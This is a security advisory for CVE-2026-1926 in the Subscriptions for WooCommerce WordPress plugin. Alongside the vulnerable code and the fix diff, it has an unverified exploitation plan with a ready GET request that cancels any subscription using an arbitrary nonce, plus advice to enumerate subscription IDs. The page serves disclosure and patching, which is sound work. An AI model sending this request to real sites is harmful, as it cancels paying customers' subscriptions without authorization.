CVE-2026-1926

Subscriptions for WooCommerce <= 1.9.2 - Missing Authorization to Unauthenticated Arbitrary Subscription Cancellation

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
1.9.3
Patched in
1d
Time to patch

Description

The Subscriptions for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the `wps_sfw_admin_cancel_susbcription()` function in all versions up to, and including, 1.9.2. This is due to the function being hooked to the `init` action without any authentication or authorization checks, and only performing a non-empty check on the nonce parameter without actually validating it via `wp_verify_nonce()`. This makes it possible for unauthenticated attackers to cancel any active WooCommerce subscription by sending a crafted GET request with an arbitrary nonce value via the `wps_subscription_id` parameter.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.9.2
PublishedMarch 17, 2026
Last updatedMarch 18, 2026

What Changed in the Fix

Changes introduced in v1.9.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-1926 - Unauthenticated Arbitrary Subscription Cancellation ## 1. Vulnerability Summary The **Subscriptions for WooCommerce** plugin (<= 1.9.2) contains a missing authorization and weak nonce validation vulnerability in the function `wps_sfw_admin_cancel_susbcr…

Show full research plan

Exploitation Research Plan: CVE-2026-1926 - Unauthenticated Arbitrary Subscription Cancellation

1. Vulnerability Summary

The Subscriptions for WooCommerce plugin (<= 1.9.2) contains a missing authorization and weak nonce validation vulnerability in the function wps_sfw_admin_cancel_susbcription() (note the typo "susbcription" in the function name). This function is registered to the global init hook, meaning it executes on every page load. It fails to check for user capabilities (authentication/authorization) and only verifies that a nonce parameter is present and non-empty, without calling wp_verify_nonce(). This allows any unauthenticated visitor to cancel any WooCommerce subscription by providing its ID.

2. Attack Vector Analysis

  • Endpoint: Any WordPress frontend or backend URL (e.g., / or /wp-admin/admin-ajax.php), as the vulnerable function is hooked to init.
  • HTTP Method: GET
  • Parameters:
    • wps_subscription_id: The ID of the target subscription (a post ID of type wps_subscriptions).
    • wps_subscription_status_admin: The current status of the subscription (typically active).
    • _wpnonce: Any non-empty string (e.g., bypass).
  • Authentication: None required (Unauthenticated).
  • Preconditions: An active subscription must exist in the system.

3. Code Flow

  1. Entry Point: In includes/class-subscriptions-for-woocommerce.php, the plugin initializes the admin class and registers hooks:
    // includes/class-subscriptions-for-woocommerce.php
    $this->loader->add_action( 'init', $sfw_plugin_admin, 'wps_sfw_admin_cancel_susbcription' );
    
  2. Hook Execution: Upon any HTTP request, the init hook triggers Subscriptions_For_Woocommerce_Admin::wps_sfw_admin_cancel_susbcription().
  3. Vulnerable Logic (In admin/class-subscriptions-for-woocommerce-admin.php):
    • The function retrieves $_GET['wps_subscription_id'] and $_GET['wps_subscription_status_admin'].
    • It checks if ( isset( $_GET['_wpnonce'] ) && ! empty( $_GET['_wpnonce'] ) ).
    • Crucially, it fails to call wp_verify_nonce( $_GET['_wpnonce'], ... ) and fails to call current_user_can().
    • It proceeds to call subscription management functions (likely wps_sfw_update_meta_data or a specific cancellation method) to set the subscription status to cancelled.

4. Nonce Acquisition Strategy

According to the vulnerability description, the function only checks if the nonce is non-empty. It does not perform actual cryptographic validation.

  • Requirement: $_GET['_wpnonce'] must be set to any value.
  • Strategy: No acquisition needed. Use a placeholder value like _wpnonce=1.

5. Exploitation Strategy

The goal is to cancel an active subscription.

  1. Target Identification: Identify a valid subscription_id. In a real attack, these can be enumerated sequentially. In a PoC, we will use the ID created in the setup phase.
  2. Craft Request: Construct a GET request to the site root.
  3. Execution: Use http_request to send the payload.

Payload Construction:

GET /?wps_subscription_id=[SUBSCRIPTION_ID]&wps_subscription_status_admin=active&_wpnonce=pwned HTTP/1.1
Host: localhost

6. Test Data Setup

To perform a valid PoC, the environment must have:

  1. WooCommerce installed and configured.
  2. Subscriptions for WooCommerce (v1.9.2) installed and active.
  3. A valid subscription:
    • Create a subscription post (Type: wps_subscriptions).
    • Set the subscription status meta to active.

Setup Commands (WP-CLI):

# Ensure plugin is at vulnerable version
wp plugin install subscriptions-for-woocommerce --version=1.9.2 --activate

# Create a dummy subscription (Custom Post Type: wps_subscriptions)
SUB_ID=$(wp post create --post_type=wps_subscriptions --post_status=publish --post_title="Test Subscription" --porcelain)

# Set the required metadata for the plugin to recognize it as active
wp post meta update $SUB_ID wps_subscription_status active
wp post meta update $SUB_ID wps_customer_id 1

7. Expected Results

  • Response: The server should return a 200 OK or a redirect (depending on how the plugin handles the completion of the function).
  • Internal State: The metadata wps_subscription_status for the given $SUB_ID should be changed from active to cancelled.
  • User Impact: The legitimate subscriber's recurring billing and services are terminated.

8. Verification Steps

After sending the HTTP request, verify the modification using WP-CLI:

# Check the subscription status meta
wp post meta get [SUBSCRIPTION_ID] wps_subscription_status

A successful exploit will return cancelled.

9. Alternative Approaches

If the wps_subscription_status_admin parameter requires a specific state to trigger the cancellation logic, try:

  • wps_subscription_status_admin=on-hold
  • wps_subscription_status_admin=pending

If the plugin logic requires the subscription to be tied to a real WooCommerce Order:

  1. Create a WooCommerce Order first: wp wc order create --user=1 --porcelain
  2. Link the subscription to that order using the meta key wps_parent_order.
  3. Retry the exploit.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Subscriptions for WooCommerce plugin (<= 1.9.2) is vulnerable to unauthenticated arbitrary subscription cancellation because it hooks the cancellation logic to the global 'init' action without verifying user capabilities or validating the nonce cryptographically. This allows any visitor to terminate active subscriptions by simply providing a valid subscription ID and an arbitrary non-empty nonce value.

Vulnerable Code

// includes/class-subscriptions-for-woocommerce.php line 248
$this->loader->add_action( 'init', $sfw_plugin_admin, 'wps_sfw_admin_cancel_susbcription', 99 );

---

// admin/class-subscriptions-for-woocommerce-admin.php line 831
public function wps_sfw_admin_cancel_susbcription() {

    if ( isset( $_GET['wps_subscription_status_admin'] ) && isset( $_GET['wps_subscription_id'] ) && isset( $_GET['_wpnonce'] ) && ! empty( $_GET['_wpnonce'] ) ) {
        $wps_status   = sanitize_text_field( wp_unslash( $_GET['wps_subscription_status_admin'] ) );
        $wps_subscription_id = sanitize_text_field( wp_unslash( $_GET['wps_subscription_id'] ) );
        if ( wps_sfw_check_valid_subscription( $wps_subscription_id ) ) {
            wps_sfw_update_meta_data( $wps_subscription_id, 'wps_subscription_status', 'cancelled' );
            // ... (truncated)

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/subscriptions-for-woocommerce/1.9.2/admin/class-subscriptions-for-woocommerce-admin.php	2026-01-29 06:45:42.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/subscriptions-for-woocommerce/1.9.3/admin/class-subscriptions-for-woocommerce-admin.php	2026-02-27 07:32:58.000000000 +0000
@@ -830,7 +830,8 @@
 	 */
 	public function wps_sfw_admin_cancel_susbcription() {
 
-		if ( isset( $_GET['wps_subscription_status_admin'] ) && isset( $_GET['wps_subscription_id'] ) && isset( $_GET['_wpnonce'] ) && ! empty( $_GET['_wpnonce'] ) ) {
+		if ( isset( $_GET['wps_subscription_status_admin'] ) && isset( $_GET['wps_subscription_id'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['wps_sfw_cancel_nonce'] ) ), $_GET['wps_subscription_id'] . $_GET['wps_subscription_status_admin'] )  && current_user_can( 'manage_woocommerce' ) ) {
+
 			$wps_status   = sanitize_text_field( wp_unslash( $_GET['wps_subscription_status_admin'] ) );
 			$wps_subscription_id = sanitize_text_field( wp_unslash( $_GET['wps_subscription_id'] ) );
 			if ( wps_sfw_check_valid_subscription( $wps_subscription_id ) ) {
--- /home/deploy/wp-safety.org/data/plugin-versions/subscriptions-for-woocommerce/1.9.2/includes/class-subscriptions-for-woocommerce.php	2026-01-29 06:45:42.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/subscriptions-for-woocommerce/1.9.3/includes/class-subscriptions-for-woocommerce.php	2026-02-27 07:32:58.000000000 +0000
@@ -245,8 +245,8 @@
 
 			$this->loader->add_action( 'woocommerce_process_product_meta', $sfw_plugin_admin, 'wps_sfw_save_custom_product_fields_data_for_subscription', 10, 2 );
 
-			$this->loader->add_action( 'init', $sfw_plugin_admin, 'wps_sfw_admin_cancel_susbcription', 99 );
-			$this->loader->add_action( 'init', $sfw_plugin_admin, 'wps_sfw_admin_reactivate_onhold_susbcription', 99 );
+			$this->loader->add_action( 'admin_init', $sfw_plugin_admin, 'wps_sfw_admin_cancel_susbcription', 99 );
+			$this->loader->add_action( 'admin_init', $sfw_plugin_admin, 'wps_sfw_admin_reactivate_onhold_susbcription', 99 );

Exploit Outline

The exploit is achieved by sending a crafted HTTP GET request to any URL on the WordPress site. Because the vulnerable function is hooked to 'init', it executes on every request. An attacker does not need to be authenticated. The request must include three parameters: 'wps_subscription_id' containing the ID of the target subscription, 'wps_subscription_status_admin' containing the current status (typically 'active'), and '_wpnonce' set to any non-empty string. Since the plugin only checks for the existence of the nonce parameter without calling wp_verify_nonce(), the request will pass the conditional check and update the subscription status to 'cancelled' in the database.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.